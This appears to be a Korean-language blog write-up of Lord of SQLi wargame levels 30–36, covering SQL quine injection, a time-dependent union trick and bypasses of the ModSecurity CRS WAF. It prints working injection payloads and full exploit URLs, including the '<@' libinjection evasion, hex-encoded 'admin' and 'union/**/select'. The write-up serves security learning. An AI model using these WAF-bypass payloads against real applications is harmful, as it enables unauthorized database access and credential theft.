Home Lord Of SQL (30번~36번)
Post
Cancel

Lord Of SQL (30번~36번)

LOS 30~36번

30, 31번은 CTF에서만 나올 것 같은 quine 문제였고, 32번도 완전 CTF 느낌..
33 ~ 36번은 WAF 관련 우회 문제였다.

30번 ouroboros

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>

늘 먹던 blind sql이라 뭐가 다른가 싶었는데

image

pw가 안 나온다.
필터링에 걸린 것도 아니고 뭘까 하고 검색을 해보니까 quine 문제라고 한다.
테이블에 pw가 없기 때문에 추출할 수가 없고, 대신 union select를 통해서 result[‘pw’]를 조작 가능하다.

image

그 다음 이제 get[‘pw’]와 result[‘pw’]를 같게 하면 된다.
우라보로스를 찾아보니까 자신의 꼬리를 먹는 뱀이 나오는데 그래서 quine 문제로 선택이 된 듯 하다

quine은 프로그래밍에서 자기 자신의 소스 코드를 출력하는 프로그램으로, 지금처럼 입력한 값을 그대로 출력하는 것이다.
ACDC CTF였나 자체 제작 언어로 quine 만드는 문제를 한 번 풀어본 적이 있지만 그렇게 재밌지는 않았다.
그러니까.. 소스 코드는 그대로 긁어 왔다. 리얼 월드에서 일어날 것 같지도 않고, SQL quine 생성기가 있다는 것만 알고 넘어가자.

image

31번 zombie

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>

필터링이 바뀐 똑같은 quine 문제이다.
그런데 “ace” 문자열을 사용할 수 없기 때문에 replace가 안된다.

하지만 위와는 달라진게 언더바 문자가 필터링에서 빠지면서 사용할 수 있게 되었다.
그러면 mysql에서 information_schema에는 현재 실행한 프로세스의 정보를 볼 수 있는 processlist가 있다.
그러면 union select를 통해서 information_schema.processlist의 값을 잘 가져오면 된다.

32번 alien

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

입력으로 쿼리를 받고서 query로 받은 것을 2번, query2로 받은 것을 2번 실행한다.
query는 처음에는 admin이었다가 다음에는 admin이 아니어야 하고
query2도 처음에는 admin이 아니었다가 다음에는 admin이어야 한다.

이렇게 실행할 때마다 값이 바뀌어야 한다면 time%2와 sleep(1)을 통해서 값을 맞춰줄 수 있다.

1
no=1 union select concat("admi",char(110%2bsleep(1)%2b(now()%2=0)))%23'union select concat("admi",char(110%2bsleep(1)%2b(now()%2=1)))%23

query1과 query2에 들어가는 값은 #과 union select로 잘라주면 된다.

33번 cthulhu

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

image

이번 문제부터 36번까지는 ModSecurity Rule Set v3.1.0 WAF가 적용된 문제이다.

image

직접 다운을 받아서 보면 이렇게 여러가지 공격에 대한 방어 rule set이 있다.
942번 SQLi 문서를 열어보면 검사 대상은

1
2
3
4
5
6
REQUEST_COOKIES          - HTTP 쿠키
REQUEST_COOKIES_NAMES    - 쿠키 이름
REQUEST_HEADERS          - HTTP 헤더 (User-Agent, Referer 등)
ARGS                     - GET/POST 파라미터 값
ARGS_NAMES              - 파라미터 이름
XML:/*                   - XML 데이터

이며, level을 통해서 검사 강도를 조절한다.
이 문제에서는 paranoia level은 1로 설정이 되어있다.

rule set에는 libinjection 기반 탐지를 비롯해서 DB 이름, sleep()과 같은 time-based 공격,
boolean sqli와 정보 수집에 쓰이는 여러 유형, nosql 등을 정규표현식으로 검사하고 필터링 한다.

그렇지만 완벽하지는 않아서 검색을 해보면 modsecurity git 이슈가 있다.
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

이를 읽어보면 제대로 처리하지 못하는 공격 구문이 있기 때문에 필터링 우회가 가능하다.

설명을 보면 libinjection이 MySQL에 대해 <@ 문법을 처리하지 못한다고 한다.
image

1
-1'<@=1 OR {a 1}=1 OR '

이런 구문인데 넣으면 결과 쿼리는

1
query : select id from prob_cthulhu where id='-1'<@=1 OR {a 1}=1 OR '' and pw=''

위와 같이 되고 id='-1'<@=1부분은 null이고, {a 1}=1는 1=1과 같다.
이렇게 WAF를 우회해서 ‘ or 1=1구문을 만들어서 우회가 가능했다.

1
https://modsec.rubiya.kr/chall/cthulhu_c26ae41c4af4c2d7b21c19cbb9009604.php?id=-1%27%3C@=1%20OR%20{a%201}=1%20OR%20%27

34번 death

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

위와 같은 WAF에 admin이 필터링 되어있다.
id=admin을 넣어야 하므로 33번 페이로드에 id=0x61646d696e를 추가해서 해결했다.

1
2
https://modsec.rubiya.kr/chall/death_0128e8a86066ca4f148444f0e99f4707.php?id=-1%27%3C@=1%20OR%20id=0x61646d696e%26%26{a%201}=1%20OR%20%27
-> query : select id from prob_death where id='-1'<@=1 OR id=0x61646d696e&&{a 1}=1 OR '' and pw=md5('')

35번 godzilla

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

이번에는 blindSQLi로 가져와야 하는 문제이다.

특별한 것 없이 -1'<@=1 OR 를 이용해서 늘 쓰던 코드로 해결이 됐다.

36번 cyclops

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

id=first, pw=second라는 조건이 있으므로 union select를 통해 넣어줘야 한다.
하지만 union select 구문은 기본적으로 WAF에서 필터링이 되는 것 같다.

최종적으로 만들어야 하는 쿼리는 아래와 같다.

1
id=`` union select 'first','second'#

위의 git issue에서는

1
-1' AND 2<@ UNION/*!SELECT*/1, version()'

이런 구문이 bypass된다고 했는데 문제 환경에서 넣어보면 필터링이 된다.
그래서 값을 조금 만져보다가 UNION/**/select는 필터링이 되지 않는 것을 확인했다.

1
2
3
https://modsec.rubiya.kr/chall/cyclops_9d6a565d1cb6c38a06a6b0815344e29e.php?id=-1%27%20AND%202%3C@%20union/**/select%20%27first%27,%27second%27%23

-> query : select id,pw from prob_cyclops where id='-1' AND 2<@ union/**/select 'first','second'#' and pw=''

그러면 나머지는 간단하게 해결이 됐다.

This post is written by PRO.